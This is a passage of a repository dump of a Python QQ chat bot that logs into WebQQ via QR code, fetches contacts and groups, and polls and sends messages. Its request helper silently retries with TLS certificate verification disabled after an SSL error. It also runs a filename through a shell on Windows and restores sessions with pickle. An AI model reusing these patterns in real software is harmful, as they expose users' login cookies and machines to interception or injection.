108 | yield Message('fetchcomplete', contacts=contacts)
109 |
110 | def onPollComplete(self, message):
111 | ctype, fromUin, memberUin, content = message.result
112 |
113 | if ctype == 'timeout':
114 | self.Process(Message('polltimeout'))
115 | return
116 |
117 | try:
118 | contact = self.Get(ctype, uin=fromUin)[0]
119 | except IndexError:
120 | contact = QContact(ctype, uin=fromUin, name='NEWBIE', qq='')
121 |
122 | if ctype == 'buddy':
123 | memberName = ''
124 | INFO('来自 %s 的消息: "%s"' % (str(contact), content))
125 | else:
126 | memberName = contact.members.get(memberUin, 'NEWBIE')
127 | INFO('来自 %s[成员“%s”] 的消息: "%s"' % \
128 | (str(contact), memberName, content))
129 |
130 | self.Process(QQMessage(
131 | contact, memberUin, memberName, content, self.SendTo
132 | ))
133 |
134 | def onFetchComplete(self, message):
135 | self.assignContacts(message.contacts)
136 |
137 | def onStop(self, code):
138 | if code == 0:
139 | INFO('QQBot 正常停止')
140 | else:
141 | INFO('QQBOT 异常停止')
142 |
143 | class QQMessage(Message):
144 | mtype = 'qqmessage'
145 |
146 | def __init__(self, contact, memberUin, memberName, content, sendTo):
147 | self.contact = contact
148 | self.memberUin = memberUin
149 | self.memberName = memberName
150 | self.content = content
151 | self.sendTo = sendTo
152 |
153 | def Reply(self, reply):
154 | if reply:
155 | time.sleep(random.randint(1, 4))
156 | self.sendTo(self.contact, reply)
157 |
158 | class BasicAI:
159 | def __init__(self):
160 | self.cmdFuncs = {}
161 | self.docs = []
162 |
163 | for k in dir(self):
164 | if k.startswith('cmd_'):
165 | func = getattr(self, k)
166 | self.cmdFuncs[k[4:]] = func
167 | self.docs.append(func.__doc__)
168 | self.docs.sort()
169 |
170 | self.termUsage = '欢迎使用 QQBot ,使用方法:'
171 | self.qqUsage = self.termUsage
172 | for doc in self.docs:
173 | self.termUsage += '\n ' + doc[2:]
174 | self.qqUsage += '\n -' + doc[2:]
175 | self.termUsage += '\n quit'
176 |
177 | def OnPollTimeout(self, bot, msg):
178 | pass
179 |
180 | def OnQQMessage(self, bot, msg):
181 | if msg.contact.ctype == 'buddy' and msg.content == 'qqbot --version':
182 | msg.Reply('QQbot-' + bot.conf.version)
183 |
184 | # 去掉通过 qq 消息来操作 QQBot 的方式
185 | # if msg.content.strip().startswith('-'):
186 | # msg.content = msg.content.strip()[1:]
187 | # msg.Reply(self.execute(bot, msg))
188 |
189 | def OnTermMessage(self, bot, msg):
190 | msg.Reply(self.execute(bot, msg))
191 |
192 | def execute(self, bot, msg):
193 | argv = msg.content.strip().split()
194 | if argv and argv[0]:
195 | f = self.cmdFuncs.get(argv[0], None)
196 | return f and f(argv[1:], msg, bot)
197 |
198 | def cmd_help(self, args, msg, bot):
199 | '''1 help'''
200 | if len(args) == 0:
201 | return (msg.mtype=='qqmessage' and self.qqUsage or self.termUsage)
202 |
203 | def cmd_list(self, args, msg, bot):
204 | '''2 list buddy|group|discuss'''
205 | if len(args) == 1:
206 | return '\n'.join(map(repr, bot.List(args[0])))
207 |
208 | def cmd_send(self, args, msg, bot):
209 | '''3 send buddy|group|discuss x|uin=x|qq=x|name=x message'''
210 | if len(args) >= 3:
211 | return '\n'.join(bot.Send(args[0], args[1], ' '.join(args[2:])))
212 |
213 | def cmd_get(self, args, msg, bot):
214 | '''4 get buddy|group|discuss x|uin=x|qq=x|name=x'''
215 | if len(args) == 2:
216 | return '\n'.join(map(repr, bot.Get(args[0], args[1])))
217 |
218 | def cmd_member(self, args, msg, bot):
219 | '''5 member group|discuss x|uin=x|qq=x|name=x'''
220 | if len(args) == 2 and args[0] in ('group', 'discuss'):
221 | result = []
222 | for contact in bot.Get(args[0], args[1]):
223 | result.append(repr(contact))
224 | for name, uin in contact.members.items():
225 | result.append('\t成员:%s,uin=%s' % (name, uin))
226 | return '\n'.join(result)
227 |
228 | def cmd_stop(self, args, msg, bot):
229 | '''6 stop'''
230 | if len(args) == 0:
231 | INFO('收到 stop 命令,QQBot 即将停止')
232 | msg.Reply('QQBot已停止')
233 | bot.Stop()
234 |
235 | def Main():
236 | try:
237 | if sys.argv[-1] == '--subprocessCall':
238 | isSubprocessCall = True
239 | sys.argv.pop()
240 | else:
241 | isSubprocessCall = False
242 |
243 | conf = QConf()
244 | if not conf.restartOnOffline or isSubprocessCall:
245 | bot = QQBot(conf=conf)
246 | bot.Login()
247 | sys.exit(bot.Run())
248 | else:
249 | args = ['python', __file__] + sys.argv[1:] + \
250 | ['--mailAuthCode', conf.mailAuthCode, '--subprocessCall']
251 | while subprocess.call(args) != 0:
252 | INFO('重新启动 QQBot ')
253 | except KeyboardInterrupt:
254 | sys.exit(0)
255 |
256 | if __name__ == '__main__':
257 | Main()
258 |
--------------------------------------------------------------------------------
/qqbot/qqbot.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qqbot.pyc
--------------------------------------------------------------------------------
/qqbot/qrcodemanager.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import os, platform, uuid, subprocess, time
4 |
5 | from utf8logger import WARN, INFO, DEBUG
6 | from common import StartThread, LockedValue
7 | from qrcodeserver import QrcodeServer
8 | from mailagent import MailAgent
9 |
10 | class QrcodeManager:
11 | def __init__(self, conf):
12 | qrcodeId = uuid.uuid4().hex
13 | self.qrcodePath = conf.QrcodePath(qrcodeId)
14 | if conf.httpServerIP:
15 | self.qrcodeServer = QrcodeServer(
16 | conf.httpServerIP,
17 | conf.httpServerPort,
18 | os.path.dirname(self.qrcodePath)
19 | )
20 | self.qrcodeURL = self.qrcodeServer.qrcodeURL
21 | else:
22 | self.qrcodeServer = None
23 |
24 | if conf.mailAccount:
25 | self.mailAgent = MailAgent(
26 | conf.mailAccount, conf.mailAuthCode, name='QQBot管理员'
27 | )
28 |
29 | if self.qrcodeServer:
30 | html = ('您的 QQBot 正在登录,请尽快用手机 QQ 扫描下面的二维码。'
31 | '若二维码已过期,请重新打开本邮件。若您看不到二维码图片,请确保'
32 | '图片地址 {0} 可以通过公网访问。
'
33 | '
').format(self.qrcodeURL)
34 | else:
35 | html = ('您的 QQBot 正在登录,请尽快用手机 QQ 扫描下面的二维码。'
36 | '若二维码已过期,请将本邮件删除,删除后 QQBot 会在1~3分钟内'
37 | '将最新的二维码发送到本邮箱。
'
38 | '{{png}}
')
39 |
40 | self.qrcodeMail = {
41 | 'to_addr': conf.mailAccount,
42 | 'html': html,
43 | 'subject': ('%s[%s]' % ('QQBot二维码', qrcodeId)),
44 | 'to_name': '我'
45 | }
46 |
47 | self.qrcode = LockedValue(None)
48 |
49 | else:
50 | self.mailAgent = None
51 |
52 | def Show(self, qrcode):
53 | with open(self.qrcodePath, 'wb') as f:
54 | f.write(qrcode)
55 |
56 | try:
57 | showImage(self.qrcodePath)
58 | except Exception as e:
59 | WARN('无法弹出二维码图片 file://%s 。%s', self.qrcodePath, e)
60 |
61 | if self.qrcodeServer:
62 | INFO('请使用浏览器访问二维码,图片地址: %s', self.qrcodeURL)
63 |
64 | if self.mailAgent:
65 | if self.qrcode.getVal() is None:
66 | self.qrcode.setVal(qrcode)
67 | # first show, start a thread to send emails
68 | StartThread(self.sendEmail, daemon=True)
69 | else:
70 | self.qrcode.setVal(qrcode)
71 |
72 | def sendEmail(self):
73 | lastSubject = ''
74 | while True:
75 | qrcode = self.qrcode.getVal()
76 |
77 | if qrcode is None:
78 | break
79 |
80 | if lastSubject != self.qrcodeMail['subject']:
81 | qrcode = '' if self.qrcodeServer else qrcode
82 | try:
83 | with self.mailAgent.SMTP() as smtp:
84 | smtp.send(png_content=qrcode, **self.qrcodeMail)
85 | except Exception as e:
86 | WARN('无法将二维码发送至邮箱%s %s', self.mailAgent.account, e)
87 | else:
88 | INFO('已将二维码发送至邮箱%s', self.mailAgent.account)
89 | if self.qrcodeServer:
90 | break
91 | else:
92 | lastSubject = self.qrcodeMail['subject']
93 | else:
94 | try:
95 | DEBUG('开始查询邮箱 %s 中的最近的邮件', self.mailAgent.account)
96 | with self.mailAgent.IMAP() as imap:
97 | lastSubject = imap.getSubject(-1)
98 | except Exception as e:
99 | WARN('查询邮箱 %s 中的邮件失败 %s', self.mailAgent.account, e)
100 | else:
101 | DEBUG('最近的邮件: %s', lastSubject)
102 |
103 | time.sleep(20)
104 |
105 | def Destroy(self):
106 | if self.mailAgent:
107 | self.qrcode.setVal(None)
108 |
109 | try:
110 | os.remove(self.qrcodePath)
111 | except OSError:
112 | pass
113 |
114 | # FILENAME must be an utf8 encoding string
115 | def showImage(filename):
116 | osName = platform.system()
117 | if osName == 'Windows':
118 | filename = filename.decode('utf8').encode('cp936')
119 | retcode = subprocess.call([filename], shell=True)
120 | elif osName == 'Linux':
121 | retcode = subprocess.call(['gvfs-open', filename])
122 | elif osName == 'Darwin': # by @Naville
123 | retcode = subprocess.call(['open', filename])
124 | else:
125 | retcode = 1
126 | if retcode:
127 | raise
128 |
129 | if __name__ == '__main__':
130 | from qconf import QConf
131 |
132 | # 需要先在 ~/.qqbot-tmp/v2.x.conf 文件中设置好邮箱帐号和授权码
133 | conf = QConf(user='eva')
134 | conf.Display()
135 |
136 | qrm = QrcodeManager(conf)
137 | with open('tmp.png', 'rb') as f:
138 | qrcode = f.read()
139 | qrm.Show(qrcode)
140 | time.sleep(60)
141 | qrm.Show(qrcode)
142 | qrm.Destroy()
143 |
144 | time.sleep(60)
145 |
--------------------------------------------------------------------------------
/qqbot/qrcodemanager.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qrcodemanager.pyc
--------------------------------------------------------------------------------
/qqbot/qrcodeserver.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # by @yxwzaxns, @pandolia
4 |
5 | import os, flask, time, logging
6 |
7 | from common import StartThread
8 | from utf8logger import INFO
9 |
10 | class QrcodeServer:
11 | def __init__(self, ip, port, tmpDir):
12 | self.ip = ip
13 | self.port = int(port)
14 | self.tmpDir = os.path.abspath(tmpDir)
15 | self.qrcodeURL = 'http://%s:%s/qqbot/qrcode' % (ip, port)
16 |
17 | StartThread(self.run, daemon=True)
18 | time.sleep(0.5)
19 | INFO('二维码 HTTP 服务器已在子线程中开启')
20 |
21 | def run(self):
22 | # no-flask-info
23 | logging.getLogger('werkzeug').setLevel(logging.ERROR)
24 |
25 | app = flask.Flask(__name__)
26 | app.route('/qqbot/qrcode')(self.route_qrcode)
27 | app.run(host='0.0.0.0', port=self.port, debug=False)
28 |
29 | def route_qrcode(self):
30 | last, lastfile = 0, ''
31 | for f in os.listdir(self.tmpDir):
32 | if f.endswith('.png'):
33 | p = os.path.join(self.tmpDir, f)
34 | cur = os.path.getmtime(p)
35 | if cur > last:
36 | last = cur
37 | lastfile = p
38 |
39 | if lastfile:
40 | return flask.send_file(lastfile, mimetype='image/png')
41 | else:
42 | flask.abort(404)
43 |
44 | if __name__ == '__main__':
45 | QrcodeServer('127.0.0.1', 8189, '.')
46 | while True:
47 | time.sleep(100)
48 |
--------------------------------------------------------------------------------
/qqbot/qrcodeserver.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qrcodeserver.pyc
--------------------------------------------------------------------------------
/qqbot/qsession.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import sys, random, pickle, time, requests
5 | from collections import defaultdict
6 |
7 | from qconf import QConf
8 | from qrcodemanager import QrcodeManager
9 | from qcontacts import QContacts
10 | from common import JsonLoads, JsonDumps
11 | from utf8logger import CRITICAL, WARN, INFO, DEBUG, DisableLog, EnableLog
12 |
13 | def QLogin(qq=None, user=None, conf=None):
14 | if conf is None:
15 | conf = QConf(qq, user)
16 |
17 | if conf.qq:
18 | INFO('开始自动登录...')
19 | picklePath = conf.PicklePath()
20 | try:
21 | with open(picklePath, 'rb') as f:
22 | session, contacts = pickle.load(f)
23 | except Exception as e:
24 | WARN('自动登录失败,原因:%s', e)
25 | else:
26 | INFO('成功从文件 "%s" 中恢复登录信息和联系人' % picklePath)
27 | try:
28 | session.TestLogin()
29 | except QSession.Error:
30 | WARN('自动登录失败,原因:上次保存的登录信息已过期')
31 | else:
32 | INFO('登录成功。登录账号:%s(%s)', session.nick, session.qq)
33 | return session, contacts
34 |
35 | INFO('开始手动登录...')
36 | session = QSession()
37 | contacts = session.Login(conf)
38 | INFO('登录成功。登录账号:%s(%s)', session.nick, session.qq)
39 |
40 | conf.qq = session.qq
41 | picklePath = conf.PicklePath()
42 | try:
43 | with open(picklePath, 'wb') as f:
44 | pickle.dump((session, contacts), f)
45 | except IOError:
46 | WARN('保存登录信息及联系人失败:IOError %s', picklePath)
47 | else:
48 | INFO('登录信息及联系人已保存至文件:file://%s' % picklePath)
49 |
50 | return session, contacts
51 |
52 | class QSession:
53 |
54 | class Error(SystemExit):
55 | def __init__(self):
56 | SystemExit.__init__(self, 1)
57 |
58 | def Login(self, conf):
59 | self.prepareSession()
60 | self.waitForAuth(conf)
61 | self.getPtwebqq()
62 | self.getVfwebqq()
63 | self.getUinAndPsessionid()
64 | self.TestLogin()
65 | return self.Fetch(silence=False)
66 |
67 | def prepareSession(self):
68 | self.clientid = 53999199
69 | self.msgId = 6000000
70 | self.httpsVerify = True
71 | self.session = requests.Session()
72 | self.session.headers.update({
73 | 'User-Agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;'
74 | ' rv:27.0) Gecko/20100101 Firefox/27.0'),
75 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
76 | })
77 | self.urlGet(
78 | 'https://ui.ptlogin2.qq.com/cgi-bin/login?daid=164&target=self&'
79 | 'style=16&mibao_css=m_webqq&appid=501004106&enable_qlogin=0&'
80 | 'no_verifyimg=1&s_url=http%3A%2F%2Fw.qq.com%2Fproxy.html&'
81 | 'f_url=loginerroralert&strong_login=1&login_state=10&t=20131024001'
82 | )
83 | self.session.cookies.update({
84 | 'RK': 'OfeLBai4FB',
85 | 'pgv_pvi': '911366144',
86 | 'pgv_info': 'ssid pgv_pvid=1051433466',
87 | 'ptcz': ('ad3bf14f9da2738e09e498bfeb93dd9da7'
88 | '540dea2b7a71acfb97ed4d3da4e277'),
89 | 'qrsig': ('hJ9GvNx*oIvLjP5I5dQ19KPa3zwxNI'
90 | '62eALLO*g2JLbKPYsZIRsnbJIxNe74NzQQ')
91 | })
92 | self.getAuthStatus()
93 | self.session.cookies.pop('qrsig')
94 |
95 | def Copy(self):
96 | c = QSession()
97 | c.__dict__.update(self.__dict__)
98 | c.session = pickle.loads(pickle.dumps(c.session))
99 | return c
100 |
101 | def getQrcode(self):
102 | INFO('登录 Step1 - 获取二维码')
103 | return self.urlGet(
104 | 'https://ssl.ptlogin2.qq.com/ptqrshow?appid=501004106&e=0&l=M&' +
105 | 's=5&d=72&v=4&t=' + repr(random.random())
106 | )
107 |
108 | def waitForAuth(self, conf):
109 | qrcodeManager = QrcodeManager(conf)
110 | try:
111 | qrcodeManager.Show(self.getQrcode())
112 | while True:
113 | time.sleep(3)
114 | authStatus = self.getAuthStatus()
115 | if '二维码未失效' in authStatus:
116 | INFO('登录 Step2 - 等待二维码扫描及授权')
117 | elif '二维码认证中' in authStatus:
118 | INFO('二维码已扫描,等待授权')
119 | elif '二维码已失效' in authStatus:
120 | WARN('二维码已失效, 重新获取二维码')
121 | qrcodeManager.Show(self.getQrcode())
122 | elif '登录成功' in authStatus:
123 | INFO('已获授权')
124 | items = authStatus.split(',')
125 | self.nick = str(items[-1].split("'")[1])
126 | self.qq = str(int(self.session.cookies['superuin'][1:]))
127 | self.urlPtwebqq = items[2].strip().strip("'")
128 | break
129 | else:
130 | CRITICAL('获取二维码扫描状态时出错, html="%s"', authStatus)
131 | sys.exit(1)
132 | finally:
133 | qrcodeManager.Destroy()
134 |
135 | def getAuthStatus(self):
136 | # by @zofuthan
137 | return self.urlGet(
138 | url='https://ssl.ptlogin2.qq.com/ptqrlogin?ptqrtoken=' +
139 | str(bknHash(self.session.cookies['qrsig'], init_str=0)) +
140 | '&webqq_type=10&remember_uin=1&login2qq=1&aid=501004106' +
141 | '&u1=http%3A%2F%2Fw.qq.com%2Fproxy.html%3Flogin2qq%3D1%26' +
142 | 'webqq_type%3D10&ptredirect=0&ptlang=2052&daid=164&' +
143 | 'from_ui=1&pttype=1&dumy=&fp=loginerroralert&action=0-0-' +
144 | repr(random.random() * 900000 + 1000000) +
145 | '&mibao_css=m_webqq&t=undefined&g=1&js_type=0' +
146 | '&js_ver=10141&login_sig=&pt_randsalt=0',
147 | Referer=('https://ui.ptlogin2.qq.com/cgi-bin/login?daid=164&'
148 | 'target=self&style=16&mibao_css=m_webqq&appid=501004106&'
149 | 'enable_qlogin=0&no_verifyimg=1&s_url=http%3A%2F%2F'
150 | 'w.qq.com%2Fproxy.html&f_url=loginerroralert&'
151 | 'strong_login=1&login_state=10&t=20131024001')
152 | )
153 |
154 | def getPtwebqq(self):
155 | INFO('登录 Step3 - 获取ptwebqq')
156 | self.urlGet(self.urlPtwebqq)
157 | self.ptwebqq = self.session.cookies['ptwebqq']
158 |
159 | def getVfwebqq(self):
160 | INFO('登录 Step4 - 获取vfwebqq')
161 | self.vfwebqq = self.smartRequest(
162 | url = ('http://s.web2.qq.com/api/getvfwebqq?ptwebqq=%s&'
163 | 'clientid=%s&psessionid=&t={rand}') %
164 | (self.ptwebqq, self.clientid),
165 | Referer = ('http://s.web2.qq.com/proxy.html?v=20130916001'
166 | '&callback=1&id=1'),
167 | Origin = 'http://s.web2.qq.com'
168 | )['vfwebqq']
169 |
170 | def getUinAndPsessionid(self):
171 | INFO('登录 Step5 - 获取uin和psessionid')
172 | result = self.smartRequest(
173 | url = 'http://d1.web2.qq.com/channel/login2',
174 | data = {
175 | 'r': JsonDumps({
176 | 'ptwebqq': self.ptwebqq, 'clientid': self.clientid,
177 | 'psessionid': '', 'status': 'online'
178 | })
179 | },
180 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001'
181 | '&callback=1&id=2'),
182 | Origin = 'http://d1.web2.qq.com'
183 | )
184 | self.uin = result['uin']
185 | self.psessionid = result['psessionid']
186 | self.hash = qHash(self.uin, self.ptwebqq)
187 | self.bkn = bknHash(self.session.cookies['skey'])
188 |
189 | def TestLogin(self):
190 | try:
191 | DisableLog()
192 | # 请求一下 get_online_buddies 页面,避免103错误。
193 | # 若请求无错误发生,则表明登录成功
194 | self.smartRequest(
195 | url = ('http://d1.web2.qq.com/channel/get_online_buddies2?'
196 | 'vfwebqq=%s&clientid=%d&psessionid=%s&t={rand}') %
197 | (self.vfwebqq, self.clientid, self.psessionid),
198 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
199 | 'callback=1&id=2'),
200 | Origin = 'http://d1.web2.qq.com',
201 | repeateOnDeny = 0
202 | )
203 | finally:
204 | EnableLog()
205 |
206 | def Fetch(self, silence=True):
207 | contacts = QContacts()
208 | self.fetchBuddies(contacts, silence)
209 | self.fetchGroups(contacts, silence)
210 | self.fetchDiscusses(contacts, silence)
211 | return contacts
212 |
213 | def fetchBuddies(self, contacts, silence=True):
214 | if not silence:
215 | INFO('登录 Step6 - 获取好友列表')
216 |
217 | result = self.smartRequest(
218 | url = 'http://s.web2.qq.com/api/get_user_friends2',
219 | data = {
220 | 'r': JsonDumps({'vfwebqq':self.vfwebqq, 'hash':self.hash})
221 | },
222 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
223 | 'callback=1&id=2')
224 | )
225 |
226 | markDict = dict((d['uin'],d['markname']) for d in result['marknames'])
227 |
228 | qqResult = self.smartRequest(
229 | url = 'http://qun.qq.com/cgi-bin/qun_mgr/get_friend_list',
230 | data = {'bkn': self.bkn},
231 | Referer = 'http://qun.qq.com/member.html'
232 | )
233 | qqDict = defaultdict(list)
234 | for blist in qqResult.values():
235 | for d in blist.get('mems', []):
236 | name = d['name'].replace(' ', ' ').replace('&', '&')
237 | qqDict[name].append(d['uin'])
238 |
239 | for info in result['info']:
240 | uin = info['uin']
241 | nick = info['nick']
242 | mark = markDict.get(uin, '')
243 | name = mark or nick
244 | qqlist = qqDict.get(name, [])
245 | if len(qqlist) == 1:
246 | qq = qqlist.pop()
247 | else:
248 | qq = self.fetchBuddyQQ(uin)
249 | try:
250 | qqlist.remove(qq)
251 | except ValueError:
252 | pass
253 |
254 | contact = contacts.Add(
255 | 'buddy', str(uin), name, str(qq), nick, mark
256 | )
257 |
258 | if not silence:
259 | INFO(repr(contact))
260 |
261 | if not silence:
262 | INFO('获取朋友列表成功,共 %d 个朋友' % len(result['info']))
263 |
264 | def fetchBuddyQQ(self, uin):
265 | return self.smartRequest(
266 | url = ('http://s.web2.qq.com/api/get_friend_uin2?tuin=%s&'
267 | 'type=1&vfwebqq=%s&t={rand}') % (uin, self.vfwebqq),
268 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
269 | 'callback=1&id=2'),
270 | timeoutRetVal = {'account': ''}
271 | )['account']
272 |
273 | # def fetchBuddyDetailInfo(self, uin):
274 | # return self.smartRequest(
275 | # url = ('http://s.web2.qq.com/api/get_friend_info2?tuin=%s&'
276 | # 'vfwebqq=%s&clientid=%s&psessionid=%s&t={rand}') % \
277 | # (uin, self.vfwebqq, self.clientid, self.psessionid),
278 | # Referer = ('http://s.web2.qq.com/proxy.html?v=20130916001&'
279 | # 'callback=1&id=1')
280 | # )
281 |
282 | def fetchGroups(self, contacts, silence=True):
283 | if not silence:
284 | INFO('登录 Step7 - 获取群列表')
285 | INFO('=' * 60)
286 |
287 | result = self.smartRequest(
288 | url = 'http://s.web2.qq.com/api/get_group_name_list_mask2',
289 | data = {
290 | 'r': JsonDumps({'vfwebqq':self.vfwebqq, 'hash':self.hash})
291 | },
292 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
293 | 'callback=1&id=2')
294 | )
295 |
296 | markDict = dict((d['uin'],d['markname']) for d in result['gmarklist'])
297 |
298 | qqResult = self.smartRequest(
299 | url = 'http://qun.qq.com/cgi-bin/qun_mgr/get_group_list',
300 | data = {'bkn': self.bkn},
301 | Referer = 'http://qun.qq.com/member.html'
302 | )
303 |
304 | qqDict = defaultdict(list)
305 | for k in ('create', 'manage', 'join'):
306 | for d in qqResult.get(k, []):
307 | name = d['gn'].replace(' ', ' ').replace('&', '&')
308 | qqDict[name].append(d['gc'])
309 |
310 | for info in result['gnamelist']:
311 | uin = info['gid']
312 | name = info['name']
313 | mark = markDict.get(uin, '')
314 |
315 | qqlist = qqDict.get(name, [])
316 | if len(qqlist) == 1:
317 | qq = qqlist.pop()
318 | else:
319 | qq = self.fetchGroupQQ(uin)
320 | for x in qqlist:
321 | if (qq - x) % 1000000 == 0:
322 | qq = x
323 | break
324 | try:
325 | qqlist.remove(qq)
326 | except ValueError:
327 | pass
328 |
329 | members = self.fetchGroupMember(info['code'])
330 |
331 | c = contacts.Add(
332 | 'group', str(uin), name, str(qq), '', mark, members
333 | )
334 |
335 | if not silence:
336 | INFO(repr(c))
337 | for uin, name in members.items():
338 | INFO(' 成员: %s, uin%s', name, uin)
339 | INFO('=' * 60)
340 |
341 | if not silence:
342 | INFO('获取群列表成功,共 %d 个群' % len(result))
343 |
344 | def fetchGroupQQ(self, uin):
345 | return self.smartRequest(
346 | url = ('http://s.web2.qq.com/api/get_friend_uin2?tuin=%s&'
347 | 'type=4&vfwebqq=%s&t={rand}') % (uin, self.vfwebqq),
348 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
349 | 'callback=1&id=2'),
350 | timeoutRetVal = {'account': ''}
351 | )['account']
352 |
353 | def fetchGroupMember(self, gcode):
354 | ret = self.smartRequest(
355 | url = ('http://s.web2.qq.com/api/get_group_info_ext2?gcode=%s'
356 | '&vfwebqq=%s&t={rand}') % (gcode, self.vfwebqq),
357 | Referer = ('http://s.web2.qq.com/proxy.html?v=20130916001'
358 | '&callback=1&id=1')
359 | )
360 | return dict((str(m['muin']), str(inf['nick']))
361 | for m, inf in zip(ret['ginfo']['members'], ret['minfo']))
362 |
363 | def fetchDiscusses(self, contacts, silence=True):
364 | if not silence:
365 | INFO('登录 Step8 - 获取讨论组列表')
366 | INFO('=' * 60)
367 |
368 | result = self.smartRequest(
369 | url = ('http://s.web2.qq.com/api/get_discus_list?clientid=%s&'
370 | 'psessionid=%s&vfwebqq=%s&t={rand}') %
371 | (self.clientid, self.psessionid, self.vfwebqq),
372 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001'
373 | '&callback=1&id=2')
374 | )['dnamelist']
375 |
376 | for info in result:
377 | uin = str(info['did'])
378 | name = str(info['name'])
379 | members = self.fetchDiscussMember(uin)
380 |
381 | c = contacts.Add('discuss', uin, name, members=members)
382 |
383 | if not silence:
384 | INFO(repr(c))
385 | for uin, name in members.items():
386 | INFO(' 成员: %s, uin%s', name, uin)
387 | INFO('=' * 60)
388 |
389 | if not silence:
390 | INFO('获取讨论组列表成功,共 %d 个讨论组', len(result))
391 |
392 | def fetchDiscussMember(self, uin):
393 | ret = self.smartRequest(
394 | url = ('http://d1.web2.qq.com/channel/get_discu_info?'
395 | 'did=%s&psessionid=%s&vfwebqq=%s&clientid=%s&t={rand}') %
396 | (uin, self.psessionid, self.vfwebqq, self.clientid),
397 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001'
398 | '&callback=1&id=2')
399 | )
400 | return dict((str(m['uin']), str(m['nick'])) for m in ret['mem_info'])
401 |
402 | def Poll(self):
403 | result = self.smartRequest(
404 | url = 'https://d1.web2.qq.com/channel/poll2',
405 | data = {
406 | 'r': JsonDumps({
407 | 'ptwebqq':self.ptwebqq, 'clientid':self.clientid,
408 | 'psessionid':self.psessionid, 'key':''
409 | })
410 | },
411 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
412 | 'callback=1&id=2')
413 | )
414 |
415 | if not result or 'errmsg' in result:
416 | return 'timeout', '', '', ''
417 | else:
418 | result = result[0]
419 | ctype = {
420 | 'message': 'buddy',
421 | 'group_message': 'group',
422 | 'discu_message': 'discuss'
423 | }[result['poll_type']]
424 | fromUin = str(result['value']['from_uin'])
425 | memberUin = str(result['value'].get('send_uin', ''))
426 | content = ''.join(
427 | ('[face%d]' % m[1]) if isinstance(m, list) else str(m)
428 | for m in result['value']['content'][1:]
429 | )
430 | return ctype, fromUin, memberUin, content
431 |
432 | def Send(self, ctype, uin, content):
433 | self.msgId += 1
434 | sendUrl = {
435 | 'buddy': 'http://d1.web2.qq.com/channel/send_buddy_msg2',
436 | 'group': 'http://d1.web2.qq.com/channel/send_qun_msg2',
437 | 'discuss': 'http://d1.web2.qq.com/channel/send_discu_msg2'
438 | }
439 | sendTag = {'buddy':'to', 'group':'group_uin', 'discuss':'did'}
440 | self.smartRequest(
441 | url = sendUrl[ctype],
442 | data = {
443 | 'r': JsonDumps({
444 | sendTag[ctype]: int(uin),
445 | 'content': JsonDumps([
446 | content,
447 | ['font', {'name': '宋体', 'size': 10,
448 | 'style': [0,0,0], 'color': '000000'}]
449 | ]),
450 | 'face': 522,
451 | 'clientid': self.clientid,
452 | 'msg_id': self.msgId,
453 | 'psessionid': self.psessionid
454 | })
455 | },
456 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&'
457 | 'callback=1&id=2')
458 | )
459 | if self.msgId % 10 == 0:
460 | INFO('已连续发送10条消息,强制 sleep 10秒,请等待...')
461 | time.sleep(10)
462 | else:
463 | time.sleep(random.randint(1, 3))
464 |
465 | def urlGet(self, url, **kw):
466 | time.sleep(0.2)
467 | self.session.headers.update(kw)
468 | if self.httpsVerify:
469 | try:
470 | return self.session.get(url, verify=True).content
471 | except (requests.exceptions.SSLError, AttributeError):
472 | self.httpsVerify = False
473 |
474 | # by @staugur
475 | return self.session.get(url, verify=False).content
476 |
477 | def smartRequest(self, url, data=None,
478 | timeoutRetVal=None, repeateOnDeny=2, **kw):
479 | nCE, nTO, nUE, nDE = 0, 0, 0, 0
480 | while True:
481 | url = url.format(rand=repr(random.random()))
482 | html = ''
483 | errorInfo = ''
484 | self.session.headers.update(**kw)
485 | try:
486 | if data is None:
487 | resp = self.session.get(url, verify=self.httpsVerify)
488 | else:
489 | resp = self.session.post(url, data=data,
490 | verify=self.httpsVerify)
491 | except requests.ConnectionError as e:
492 | nCE += 1
493 | errorInfo = '网络错误 %s' % e
494 | else:
495 | html = resp.content
496 | if resp.status_code in (502, 504, 404):
497 | self.session.get(
498 | ('http://pinghot.qq.com/pingd?dm=w.qq.com.hot&'
499 | 'url=/&hottag=smartqq.im.polltimeout&hotx=9999&'
500 | 'hoty=9999&rand=%s') % random.randint(10000, 99999)
501 | )
502 | if url == 'https://d1.web2.qq.com/channel/poll2':
503 | return {'errmsg': ''}
504 | nTO += 1
505 | errorInfo = '超时'
506 | else:
507 | try:
508 | result = JsonLoads(html)
509 | except ValueError:
510 | nUE += 1
511 | errorInfo = ' URL 地址错误'
512 | else:
513 | retcode = result.get('retcode',
514 | result.get('errCode',
515 | result.get('ec', -1)))
516 | if retcode in (0, 1202, 100003, 100100):
517 | return result.get('result', result)
518 | else:
519 | nDE += 1
520 | errorInfo = '请求被拒绝错误'
521 |
522 | # 出现网络错误、超时、 URL 地址错误可以多试几次
523 | # 若网络没有问题但 retcode 有误,一般连续 3 次都出错就没必要再试了
524 | if nCE < 5 and nTO < 20 and nUE < 5 and nDE <= repeateOnDeny:
525 | DEBUG('第%d次请求“%s”时出现“%s”, html=%s',
